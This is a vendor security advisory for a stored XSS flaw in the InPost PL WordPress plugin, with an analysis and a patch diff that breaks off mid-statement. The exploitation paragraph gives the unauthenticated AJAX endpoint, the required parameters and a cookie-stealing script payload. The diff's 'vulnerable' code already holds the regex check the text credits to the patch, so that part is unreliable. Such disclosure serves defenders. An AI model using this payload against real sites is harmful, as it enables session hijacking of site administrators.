Published : December 4, 2026

CVE-2026-142509: InPost PL <= 2.0.1 Unauthenticated Stored Cross-Site Scripting via 'inpost-parcel-locker-id' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.0.1
Patched Version 2.0.2
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-142509: The InPost PL WordPress plugin versions up to and including 2.0.1 suffer from an unauthenticated (or subscriber-level on default configurations) Stored Cross-Site Scripting vulnerability. The flaw resides in the handling of the ‘inpost-parcel-locker-id’ and ‘parcel_machine_id’ parameters, which are used to store a parcel locker selection on WooCommerce orders. Insufficient sanitization and escaping allow arbitrary script injection into the order metadata, which later renders unsafely in administrative interfaces or customer-facing pages. The CVSS score is 7.2 (High), and the CWE classification is 79 (Improper Neutralization of Input During Web Page Generation).

Paragraph 2 – Root Cause: The root cause is missing input validation in the EasyPack AJAX handler and checkout processing. In src/InspireLabs/WoocommerceInpost/EasyPack.php, around lines 1286-1310 and 1916-1925, the plugin reads the locker ID from the request body or POST data and only applies sanitize_text_field(), which does not prevent stored XSS because it does not restrict characters like , or quotes that can break out of HTML attributes. The code then stores the raw value as order meta ‘_parcel_machine_id’. The diff shows that the patched version replaces all direct uses of sanitize_text_field with a new helper function EasyPack_Helper()->normalize_locker_id(), which strictly validates the format. Similarly, in EasyPack_AJAX.php, the update_locker_from_typ_page_callback (lines ~750-800) now validates the locker ID against a regex ‘^[A-Za-z0-9][A-Za-z0-9_-]{1,31}$’ before storing. This regex-based normalization rejects any characters outside alphanumeric, hyphen, and underscore, effectively blocking script injection.

Paragraph 3 – Exploitation: An attacker can exploit this via the unauthenticated AJAX action ‘update_locker_from_typ_page’ (registered for nopriv) or by tampering with the checkout POST request. The endpoint is /wp-admin/admin-ajax.php with action=update_locker_from_typ_page. Required parameters: inpost_pl_locker (payload), order_id (attacker’s own order ID), and order_key (attacker’s order key, obtainable from the order confirmation page). The attacker sends a payload such as ‘”>alert(document.cookie)’ in the inpost_pl_locker parameter. Because the nonce (easypack_nonce) is exposed to all guests via wp_localize_script, and the order key check is trivially satisfied for the attacker’s own order, the payload is stored as order meta. The script executes when an administrator views the order details page or when the customer views the order confirmation page, depending on where the meta is rendered unsafely.

Paragraph 4 – Patch Analysis: The patch introduces a centralized normalization function EasyPack_Helper()->normalize_locker_id(), which enforces a strict format: it removes a ‘PL_’ prefix if present, then validates the remainder against a regex that allows only alphanumeric characters, hyphens, and underscores, with a length limit. In EasyPack.php, all direct assignments to $parcel_machine_id and $paczkomat_id now use this helper. In EasyPack_AJAX.php, the update_locker_from_typ_page_callback now performs a regex check on the raw input before storing. The before behavior accepted any string after basic sanitization; the after behavior rejects anything that does not match a legitimate locker ID. This prevents stored XSS because malicious characters are never stored.

Paragraph 5 – Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, creation of rogue administrative accounts, installation of malicious plugins, or theft of sensitive data. In the unauthenticated scenario (when classic checkout is active), the attacker does not need any account on the site, greatly increasing the attack surface. Even in the authenticated (subscriber) scenario, the impact is severe because subscriber-level accounts are often easy to obtain (e.g., via registration). The vulnerability can be used to compromise the entire WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/inpost-for-woocommerce/src/InspireLabs/WoocommerceInpost/EasyPack.php
+++ b/inpost-for-woocommerce/src/InspireLabs/WoocommerceInpost/EasyPack.php
@@ -1286,13 +1286,11 @@
 			|| ( is_string( $fs_method_name ) && 0 === strpos( $fs_method_name, 'easypack_parcel_machines' ) )
 		);

-		if ( $needs_parcel_locker && ! empty( $request_body['extensions']['inpost']['inpost-parcel-locker-id'] ) ) {
+		$parcel_machine_id = $needs_parcel_locker && isset( $request_body['extensions']['inpost']['inpost-parcel-locker-id'] )
+			? EasyPack_Helper()->normalize_locker_id( $request_body['extensions']['inpost']['inpost-parcel-locker-id'] )
+			: '';

-			$parcel_machine_id = sanitize_text_field( $request_body['extensions']['inpost']['inpost-parcel-locker-id'] );
-
-			if ( 'PL_' === substr( $parcel_machine_id, 0, 3 ) ) {
-				$parcel_machine_id = substr( $parcel_machine_id, 3 );
-			}
+		if ( '' !== $parcel_machine_id ) {

 			$order->update_meta_data( '_parcel_machine_id', $parcel_machine_id );

@@ -1304,14 +1302,9 @@

 			// additional check if used Google Pay payment method - we extract paczkomat number from WC session.
 			if ( is_object( WC() ) && property_exists( WC(), 'session' ) ) {
-				$inpost_pl_paczkomat = WC()->session->get( 'inpost_pl_wc_paczkomat' );
-
-				if ( $inpost_pl_paczkomat ) {
-
-					if ( 'PL_' === substr( $inpost_pl_paczkomat, 0, 3 ) ) {
-						$inpost_pl_paczkomat = substr( $inpost_pl_paczkomat, 3 );
-					}
+				$inpost_pl_paczkomat = EasyPack_Helper()->normalize_locker_id( WC()->session->get( 'inpost_pl_wc_paczkomat' ) );

+				if ( '' !== $inpost_pl_paczkomat ) {
 					$order->update_meta_data( '_parcel_machine_id', $inpost_pl_paczkomat );
 				}
 				// Clear session data.
@@ -1916,11 +1909,11 @@
 		);

 		// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified by WooCommerce checkout before woocommerce_checkout_update_order_meta.
-		if ( $needs_parcel_locker && ! empty( $_POST['parcel_machine_id'] ) ) {
-			$paczkomat_id = sanitize_text_field( wp_unslash( $_POST['parcel_machine_id'] ) );
-			if ( 'PL_' === substr( $paczkomat_id, 0, 3 ) ) {
-				$paczkomat_id = substr( $paczkomat_id, 3 );
-			}
+		$paczkomat_id = $needs_parcel_locker && isset( $_POST['parcel_machine_id'] )
+			? EasyPack_Helper()->normalize_locker_id( wp_unslash( $_POST['parcel_machine_id'] ) ) // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Strictly validated by normalize_locker_id().
+			: '';
+
+		if ( '' !== $paczkomat_id ) {
 			$order->update_meta_data( '_parcel_machine_id', $paczkomat_id );

 			if ( ! empty( $_POST['parcel_machine_desc'] ) ) {
@@ -1989,7 +1982,7 @@

 			if ( in_array( $selected_shipping_method_name, $locker_require_methods, true ) || in_array( $fs_method_name, $locker_require_methods, true ) ) {
 				// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified by WooCommerce checkout before woocommerce_checkout_process.
-				if ( empty( $_POST['parcel_machine_id'] ) ) {
+				if ( '' === EasyPack_Helper()->normalize_locker_id( isset( $_POST['parcel_machine_id'] ) ? wp_unslash( $_POST['parcel_machine_id'] ) : '' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Strictly validated by normalize_locker_id().
 					// phpcs:enable WordPress.Security.NonceVerification.Missing
 					if ( ! $alert_shown ) {
 						$alert_shown = true;
--- a/inpost-for-woocommerce/src/InspireLabs/WoocommerceInpost/EasyPack_AJAX.php
+++ b/inpost-for-woocommerce/src/InspireLabs/WoocommerceInpost/EasyPack_AJAX.php
@@ -1,831 +1,831 @@
-<?php
-/**
- * EasyPack AJAX
- */
-
-namespace InspireLabsWoocommerceInpost;
-
-use Exception;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_C2C;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_C2C_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Express;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Express_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Standard;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Standard_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_LSE;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_LSE_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Palette;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Palette_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_EsmartMix;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Economy_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Weekend_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shippng_Parcel_Machines;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shippng_Parcel_Machines_COD;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Weekend;
-use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Economy;
-
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-if ( ! class_exists( 'EasyPack_AJAX' ) ) :
-
-	/**
-	 * EasyPack AJAX actions
-	 */
-	class EasyPack_AJAX {
-
-		/**
-		 * Ajax handler
-		 */
-		public static function init() {
-			add_action( 'wp_ajax_easypack', array( __CLASS__, 'ajax_easypack' ) );
-			add_action( 'admin_head', array( __CLASS__, 'wp_footer_easypack_nonce' ) );
-			add_action( 'wp_ajax_inpost_save_to_wc_session', array( __CLASS__, 'save_to_wc_session' ) );
-			add_action( 'wp_ajax_nopriv_inpost_save_to_wc_session', array( __CLASS__, 'save_to_wc_session' ) );
-			add_action( 'wp_ajax_posting_confirmation_request', array( __CLASS__, 'posting_confirmation_request_callback' ) );
-			add_action( 'wp_ajax_update_locker_from_typ_page', array( __CLASS__, 'update_locker_from_typ_page_callback' ) );
-			add_action( 'wp_ajax_nopriv_update_locker_from_typ_page', array( __CLASS__, 'update_locker_from_typ_page_callback' ) );
-		}
-
-		/**
-		 * Add nonce value
-		 *
-		 * @return void
-		 */
-		public static function wp_footer_easypack_nonce(): void {
-			?>
-			<script type="text/javascript">
-				var easypack_nonce = '<?php echo esc_attr( wp_create_nonce( 'easypack_nonce' ) ); ?>';
-			</script>
-			<?php
-		}
-
-		/**
-		 * Sort ajax actions callbacks
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function ajax_easypack(): void {
-			check_ajax_referer( 'easypack_nonce', 'security' );
-
-			if ( ! self::user_can_manage_inpost_admin_actions() ) {
-				wp_send_json_error( 'forbidden', 403 );
-			}
-
-			if ( isset( $_POST['easypack_action'] ) ) {
-				$action = sanitize_text_field( wp_unslash( $_POST['easypack_action'] ) );
-
-				if ( 'create_additional_package' === $action ) {
-					self::create_additional_package();
-				}
-
-				if ( 'change_first_package' === $action ) {
-					self::change_first_package();
-				}
-
-				if ( 'inpost_pl_metabox_paczkomat' === $action ) {
-					self::save_order_metabox_paczkomat();
-				}
-
-				if ( 'dispatch_point' === $action ) {
-					self::dispatch_point();
-				}
-				if ( 'parcel_machines_create_package' === $action ) {
-					self::parcel_machines_create_package();
-				}
-				if ( 'parcel_machines_weekend_create_package' === $action ) {
-					self::parcel_machines_weekend_create_package();
-				}
-				if ( 'parcel_machines_weekend_create_package_cod' === $action ) {
-					self::parcel_machines_weekend_create_package_cod();
-				}
-				if ( 'parcel_machines_cancel_package' === $action ) {
-					self::parcel_machines_cancel_package();
-				}
-				if ( 'courier_c2c_create_package_cod' === $action ) {
-					self::courier_c2c_create_package_cod();
-				}
-				if ( 'parcel_machines_economy' === $action ) {
-					self::parcel_machines_economy_create_package();
-				}
-				if ( 'parcel_machines_economy_cod' === $action ) {
-					self::parcel_machines_economy_cod_create_package();
-				}
-				if ( 'parcel_machines_cod_create_package' === $action ) {
-					self::parcel_machines_cod_create_package();
-				}
-				if ( 'esmartmix_create_package' === $action ) {
-					self::esmartmix_create_package();
-				}
-				if ( 'courier_create_package' === $action ) {
-					self::courier_create_package();
-				}
-				if ( 'courier_c2c_create_package' === $action ) {
-					self::courier_c2c_create_package();
-				}
-				if ( 'courier_lse_create_package' === $action ) {
-					self::courier_lse_create_package();
-				}
-				if ( 'courier_lse_create_package_cod' === $action ) {
-					self::courier_lse_create_package_cod();
-				}
-				if ( 'courier_local_standard_create_package' === $action ) {
-					self::courier_local_standard_create_package();
-				}
-				if ( 'courier_local_standard_cod_create_package' === $action ) {
-					self::courier_local_standard_cod_create_package();
-				}
-				if ( 'courier_local_express_create_package' === $action ) {
-					self::courier_local_express_create_package();
-				}
-				if ( 'courier_local_express_cod_create_package' === $action ) {
-					self::courier_local_express_cod_create_package();
-				}
-				if ( 'courier_palette_create_package' === $action ) {
-					self::courier_palette_create_package();
-				}
-				if ( 'courier_palette_cod_create_package' === $action ) {
-					self::courier_palette_cod_create_package();
-				}
-				if ( 'courier_cod_create_package' === $action ) {
-					self::courier_cod_create_package();
-				}
-				if ( 'parcel_machines_cod_cancel_package' === $action ) {
-					self::parcel_machines_cod_cancel_package();
-				}
-
-				if ( 'easypack_create_bulk_labels' === $action ) {
-
-					if ( isset( $_POST['order_ids'] ) ) {
-
-						$helper = EasyPack_Helper::EasyPack_Helper();
-
-						$data_string   = sanitize_text_field( wp_unslash( $_POST['order_ids'] ) );
-						$order_ids_arr = json_decode( stripslashes( $data_string ), true );
-						$validated_ids = array();
-
-						if ( is_array( $order_ids_arr ) ) {
-							$validated_ids = $helper->validate_order_ids_before_get_labels_from_api( $order_ids_arr );
-						}
-
-						if ( ! empty( $validated_ids ) ) {
-							// this function echo pdf or zip string.
-							$helper->print_stickers( false, $validated_ids );
-							die;
-
-						} else {
-							echo wp_json_encode(
-								array(
-									'details' => esc_html__( 'Check your selection.', 'inpost-for-woocommerce' ),
-								)
-							);
-							die;
-						}
-					}
-
-					echo wp_json_encode( array( 'details' => esc_html__( 'There are some validation errors.', 'inpost-for-woocommerce' ) ) );
-					die;
-				}
-
-				if ( 'easypack_create_additional_label' === $action ) {
-
-					if ( isset( $_POST['inpost_id'] ) ) {
-						$inpost_id = sanitize_text_field( wp_unslash( $_POST['inpost_id'] ) );
-						if ( ! empty( $inpost_id ) ) {
-							// this function echo pdf or zip string.
-							EasyPack_Helper::EasyPack_Helper()->print_sticker_by_inpost_id( $inpost_id );
-							die;
-						} else {
-							echo wp_json_encode( array( 'details' => esc_html__( 'Check your selection.', 'inpost-for-woocommerce' ) ) );
-							die;
-						}
-					}
-
-					echo wp_json_encode( array( 'details' => esc_html__( 'There are some validation errors.', 'inpost-for-woocommerce' ) ) );
-					die;
-				}
-			}
-		}
-
-		/**
-		 * Dispatch point
-		 *
-		 * @return void
-		 */
-		public static function dispatch_point() {
-
-			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in ajax_easypack() before this callback.
-			$dispatch_point_name = isset( $_POST['dispatch_point_name'] )
-					? sanitize_text_field( wp_unslash( $_POST['dispatch_point_name'] ) )
-					: '';
-			// phpcs:enable WordPress.Security.NonceVerification.Missing
-
-			if ( ! empty( $dispatch_point_name ) ) {
-				try {
-					$dispatch_point = EasyPack_API()->dispatch_point( $dispatch_point_name );
-					echo wp_json_encode( $dispatch_point );
-				} catch ( Exception $e ) {
-					echo 0;
-				}
-			}
-			wp_die();
-		}
-
-		/**
-		 * Parcel machines create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function parcel_machines_create_package() {
-			EasyPack_Shippng_Parcel_Machines::ajax_create_package();
-		}
-
-		/**
-		 * Parcel machines cancel package
-		 *
-		 * @return void
-		 */
-		public static function parcel_machines_cancel_package() {
-			EasyPack_Shippng_Parcel_Machines::ajax_cancel_package();
-		}
-
-		/**
-		 * Parcel machines COD create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function parcel_machines_cod_create_package() {
-			EasyPack_Shippng_Parcel_Machines_COD::ajax_create_package();
-		}
-
-		/**
-		 * Parcel machines weekend create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function parcel_machines_weekend_create_package() {
-			EasyPack_Shipping_Parcel_Machines_Weekend::ajax_create_package();
-		}
-
-		/**
-		 * Parcel machines weekend COD create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function parcel_machines_weekend_create_package_cod() {
-			EasyPack_Shipping_Parcel_Machines_Weekend_COD::ajax_create_package();
-		}
-
-		/**
-		 * Parcel machines economy create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function parcel_machines_economy_create_package() {
-			EasyPack_Shipping_Parcel_Machines_Economy::ajax_create_package();
-		}
-
-		/**
-		 * Parcel machines economy COD create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function parcel_machines_economy_cod_create_package() {
-			EasyPack_Shipping_Parcel_Machines_Economy_COD::ajax_create_package();
-		}
-
-		/**
-		 * Courier create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_create_package() {
-			EasyPack_Shipping_Method_Courier::ajax_create_package();
-		}
-
-		/**
-		 * Esmartmix create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function esmartmix_create_package() {
-			EasyPack_Shipping_Method_EsmartMix::ajax_create_package();
-		}
-
-		/**
-		 * Courier C2C create package COD
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_c2c_create_package_cod() {
-			EasyPack_Shipping_Method_Courier_C2C_COD::ajax_create_package();
-		}
-
-		/**
-		 * Courier C2C create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_c2c_create_package() {
-			EasyPack_Shipping_Method_Courier_C2C::ajax_create_package();
-		}
-
-		/**
-		 * Courier LSE create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_lse_create_package() {
-			EasyPack_Shipping_Method_Courier_LSE::ajax_create_package();
-		}
-
-		/**
-		 * Courier LSE create package COD
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_lse_create_package_cod() {
-			EasyPack_Shipping_Method_Courier_LSE_COD::ajax_create_package();
-		}
-
-		/**
-		 * Courier local standard create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_local_standard_create_package() {
-			EasyPack_Shipping_Method_Courier_Local_Standard::ajax_create_package();
-		}
-
-		/**
-		 * Courier local standard COD create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_local_standard_cod_create_package() {
-			EasyPack_Shipping_Method_Courier_Local_Standard_COD::ajax_create_package();
-		}
-
-		/**
-		 * Courier local express create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_local_express_create_package() {
-			EasyPack_Shipping_Method_Courier_Local_Express::ajax_create_package();
-		}
-
-		/**
-		 * Courier local express COD create package
-		 *
-		 * @return void
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_local_express_cod_create_package() {
-			EasyPack_Shipping_Method_Courier_Local_Express_COD::ajax_create_package();
-		}
-
-		/**
-		 * Courier palette create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_palette_create_package() {
-			EasyPack_Shipping_Method_Courier_Palette::ajax_create_package();
-		}
-
-		/**
-		 * Courier palette COD create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_palette_cod_create_package() {
-			EasyPack_Shipping_Method_Courier_Palette_COD::ajax_create_package();
-		}
-
-		/**
-		 * Courier COD create package
-		 *
-		 * @throws ReflectionException ReflectionException.
-		 */
-		public static function courier_cod_create_package() {
-			EasyPack_Shipping_Method_Courier_COD::ajax_create_package();
-		}
-
-		/**
-		 * Parcel machines COD cancel package
-		 *
-		 * @return void
-		 */
-		public static function parcel_machines_cod_cancel_package() {
-			EasyPack_Shippng_Parcel_Machines_COD::ajax_cancel_package();
-		}
-
-
-		/**
-		 * Create additional package
-		 *
-		 * @return void
-		 */
-		public static function create_additional_package() {
-
-			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in ajax_easypack() before this callback.
-			$shipping_method = isset( $_POST['easypack_additional_package_method_id'] )
-					? sanitize_text_field( wp_unslash( $_POST['easypack_additional_package_method_id'] ) )
-					: '';
-			$order_id        = isset( $_POST['order_id'] )
-					? sanitize_text_field( wp_unslash( $_POST['order_id'] ) )
-					: '';
-			// phpcs:enable WordPress.Security.NonceVerification.Missing
-
-			if ( empty( $shipping_method ) || empty( $order_id ) ) {
-				$return_content = array(
-					'status'  => 'bad',
-					'message' => esc_html__( 'Empty shipping method or order_id', 'inpost-for-woocommerce' ),
-				);
-				echo wp_json_encode( $return_content );
-				wp_die();
-			}
-
-			try {
-
-				$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $shipping_method );
-
-				if ( empty( $shipping_method_class_name ) ) {
-					$inpost_method_name         = EasyPack_Helper()->get_method_linked_to_fs_by_instance_id( $shipping_method );
-					$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $inpost_method_name );
-				}
-
-				if ( empty( $shipping_method_class_name ) ) {
-					$return_content = array(
-						'status'  => 'bad',
-						'message' => esc_html__( 'Shipping method not found', 'inpost-for-woocommerce' ),
-					);
-					echo wp_json_encode( $return_content );
-					wp_die();
-				}
-
-				$class_with_namespace = 'InspireLabsWoocommerceInpostshipping\' . $shipping_method_class_name;
-
-				if ( class_exists( $class_with_namespace ) ) {
-					$class_instance = new $class_with_namespace();
-
-					$ret['content'] = $class_instance::order_metabox_content( get_post( $order_id ), false, null, true );
-					$ret['status']  = 'ok';
-
-					echo wp_json_encode( $ret );
-					wp_die();
-
-				} else {
-					$return_content = array(
-						'status'  => 'bad',
-						'message' => esc_html__( 'Error occured', 'inpost-for-woocommerce' ),
-					);
-					echo wp_json_encode( $return_content );
-					wp_die();
-				}
-			} catch ( Exception $e ) {
-				echo 0;
-			}
-			wp_die();
-		}
-
-
-		/**
-		 * Change metabox output for order metabox
-		 *
-		 * @return void
-		 */
-		public static function change_first_package() {
-
-			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in ajax_easypack() before this callback.
-			$shipping_method_instance_id = isset( $_POST['easypack_change_first_shipment_method_id'] ) ? sanitize_text_field( wp_unslash( $_POST['easypack_change_first_shipment_method_id'] ) ) : '';
-			$order_id                    = isset( $_POST['order_id'] ) ? sanitize_text_field( wp_unslash( $_POST['order_id'] ) ) : '';
-			// phpcs:enable WordPress.Security.NonceVerification.Missing
-
-			if ( empty( $shipping_method_instance_id ) || empty( $order_id ) ) {
-				$return_content = array(
-					'status'  => 'bad',
-					'message' => esc_html__( 'Empty order_id or selected InPost method', 'inpost-for-woocommerce' ),
-				);
-				echo wp_json_encode( $return_content );
-				wp_die();
-			}
-
-			try {
-
-				$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $shipping_method_instance_id );
-
-				$inpost_method_name = null;
-
-				if ( empty( $shipping_method_class_name ) ) {
-					$inpost_method_name         = EasyPack_Helper()->get_method_linked_to_fs_by_instance_id( $shipping_method_instance_id );
-					$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $inpost_method_name );
-				}
-
-				if ( empty( $shipping_method_class_name ) ) {
-					$return_content = array(
-						'status'  => 'bad',
-						'message' => esc_html__( 'Shipping method not found', 'inpost-for-woocommerce' ),
-					);
-					echo wp_json_encode( $return_content );
-					wp_die();
-				}
-
-				$class_with_namespace = 'InspireLabsWoocommerceInpostshipping\' . $shipping_method_class_name;
-
-				if ( class_exists( $class_with_namespace ) ) {
-					$class_instance = new $class_with_namespace();
-
-					$ret['content'] = $class_instance::order_metabox_content( get_post( $order_id ), false, null );
-					$ret['status']  = 'ok';
-
-					if ( is_numeric( $shipping_method_instance_id ) ) {
-						if ( class_exists( 'WC_Shipping_Zones' ) ) {
-							$shipping_method = WC_Shipping_Zones::get_shipping_method( $shipping_method_instance_id );
-							// Get the shipping method ID from the instance object.
-							if ( $shipping_method ) {
-								$shipping_method_id = $shipping_method->id;
-								$order              = wc_get_order( $order_id );
-								if ( $order ) {
-									$order->update_meta_data( '_inpost_pl_metabox_shipping_method_instance_id', $shipping_method_instance_id );
-									$order->update_meta_data( '_inpost_pl_metabox_shipping_method', $shipping_method_id );
-									$order->save();
-								}
-							}
-						}
-					}
-
-					echo wp_json_encode( $ret );
-					wp_die();
-
-				} else {
-					$return_content = array(
-						'status'  => 'bad',
-						'message' => esc_html__( 'Error occured', 'inpost-for-woocommerce' ),
-					);
-					echo wp_json_encode( $return_content );
-					wp_die();
-				}
-			} catch ( Exception $e ) {
-				echo 0;
-			}
-			wp_die();
-		}
-
-
-
-		/**
-		 * Ajax handler to save paczkomat number into WC session
-		 */
-		public static function save_to_wc_session(): void {
-			self::save_point_to_wc_session();
-		}
-
-
-		/**
-		 * Save paczkomat point number into WC session
-		 *
-		 * @return void
-		 */
-		public static function save_point_to_wc_session() {
-
-			check_ajax_referer( 'easypack_nonce', 'security' );
-
-			if ( ! empty( $_POST['key'] ) && 'inpost_pl_wc_paczkomat' === $_POST['key'] ) {
-
-				$key   = sanitize_text_field( wp_unslash( $_POST['key'] ) );
-				$value = isset( $_POST['value'] ) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';
-
-				if ( is_object( WC() ) && property_exists( WC(), 'session' ) ) {
-					WC()->session->set( $key, $value );
-					wp_send_json_success( 'Data saved to session' );
-
-				} else {
-					wp_send_json_error( 'WC session not available' );
-
-				}
-			}
-
-			wp_die();
-		}
-
-
-		/**
-		 * AJAX callback to handle posting confirmation request for multiple shipments.
-		 *
-		 * Validates nonce and sanitizes order IDs, retrieves InPost shipment IDs
-		 * for each order, and generates posting confirmation PDF for the
-		 * collected shipment identifiers.
-		 *
-		 * @return void Outputs PDF or handles errors.
-		 */
-		public static function posting_confirmation_request_callback(): void {
-
-			check_ajax_referer( 'easypack-shipment-manager', 'nonce' );
-
-			if ( ! self::user_can_manage_inpost_admin_actions() ) {
-				wp_die( esc_html__( 'Sorry, you are not allowed to do that.', 'inpost-for-woocommerce' ), 403 );
-			}
-
-			$orders = isset( $_POST['parcels'] )
-				? array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['parcels'] ) )
-				: array();
-
-			if ( empty( $orders ) ) {
-				return;
-			}
-
-			$shipment_service = EasyPack()->get_shipment_service();
-			$shipment_ids     = array();
-
-			foreach ( $orders as $order ) {
-				$inpost_internal_data = $shipment_service->get_shipment_by_order_id( (int) $order );
-
-				if ( $inpost_internal_data && is_object( $inpost_internal_data ) ) {
-					$shipment_ids[] = $inpost_internal_data->getInternalData()->getInpostId();
-				}
-			}
-
-			EasyPack_Helper()->post_confirmation_pdf( $shipment_ids );
-		}
-
-
-
-		/**
-		 * AJAX callback to update locker selection from TYP page.
-		 *
-		 * Validates nonce and input data, retrieves order object, updates
-		 * parcel machine ID and description metadata, saves changes,
-		 * and returns JSON success or error response.
-		 *
-		 * @return void Outputs JSON response and exits.
-		 */
-		public static function update_locker_from_typ_page_callback() {
-
-			check_ajax_referer( 'easypack_nonce', 'security' );
-
-			if ( empty( $_POST['inpost_pl_locker'] ) || empty( $_POST['order_id'] ) || empty( $_POST['order_key'] ) ) {
-				wp_send_json_error( 'missing_params' );
-			}
-
-			$order_id  = (int) sanitize_text_field( wp_unslash( $_POST['order_id'] ) );
-			$order_key = sanitize_text_field( wp_unslash( $_POST['order_key'] ) );
-			$order     = wc_get_order( $order_id );
-
-			if ( ! $order || is_wp_error( $order ) ) {
-				wp_send_json_error( 'invalid_order' );
-			}
-
-			if ( ! hash_equals( (string) $order->get_order_key(), (string) $order_key ) ) {
-				wp_send_json_error( 'forbidden' );
-			}
-
-			if ( ! in_array( $order->get_status(), array( 'pending', 'processing', 'on-hold' ), true ) ) {
-				wp_send_json_error( 'order_finalised' );
-			}
-
-			// Only parcel-locker orders can get a point (e.g. not courier orders).
-			if ( ! self::order_uses_locker_shipping( $order ) ) {
-				wp_send_json_error( 'not_locker_order' );
-			}
-
-			// Once the shipment exists, the point is on the label - changing it here would desync order and parcel.
-			if ( ! empty( $order->get_meta( '_shipx_shipment_object' ) ) || '' !== (string) $order->get_meta( '_easypack_parcel_tracking' ) ) {
-				wp_send_json_error( 'shipment_created' );
-			}
-
-			// InPost point IDs: letters, digits, "-" and "_" (e.g. KRA010, WAW22M, POP-KRA123).
-			// Validate the raw value: sanitizing first would turn e.g. "<b>X</b>Y" into a valid-looking "XY".
-			$raw_locker = wp_unslash( $_POST['inpost_pl_locker'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Strictly validated by the regex below.
-			if ( ! is_string( $raw_locker ) || ! preg_match( '/^[A-Za-z0-9][A-Za-z0-9_-]{1,31}$/', $raw_locker ) ) {
-				wp_send_json_error( 'invalid_locker' );
-			}
-
-			$new_locker  = sanitize_text_field( $raw_locker );
-			$locker_desc = ! empty( $_POST['inpost_pl_locker_desc'] )
-				? sanitize_text_field( wp_unslash( $_POST['inpost_pl_locker_desc'] ) )
-				: '';
-			$locker_desc = function_exists( 'mb_substr' ) ? mb_substr( $locker_desc, 0, 255 ) : substr( $locker_desc, 0, 255 );
-
-			$previous_locker = (string) $order->get_meta( '_parcel_machine_id' );
-
-			$order->update_meta_data( '_parcel_machine_id', $new_locker );
-			if ( '' !== $locker_desc ) {
-				$order->update_meta_data( '_parcel_machine_desc', $locker_desc );
-			}
-
-			// Audit trail for the merchant: the point was chosen (or changed) outside checkout.
-			if ( $previous_locker !== $new_locker ) {
-				$order->add_order_note(
-					'' === $previous_locker
-						? sprintf(
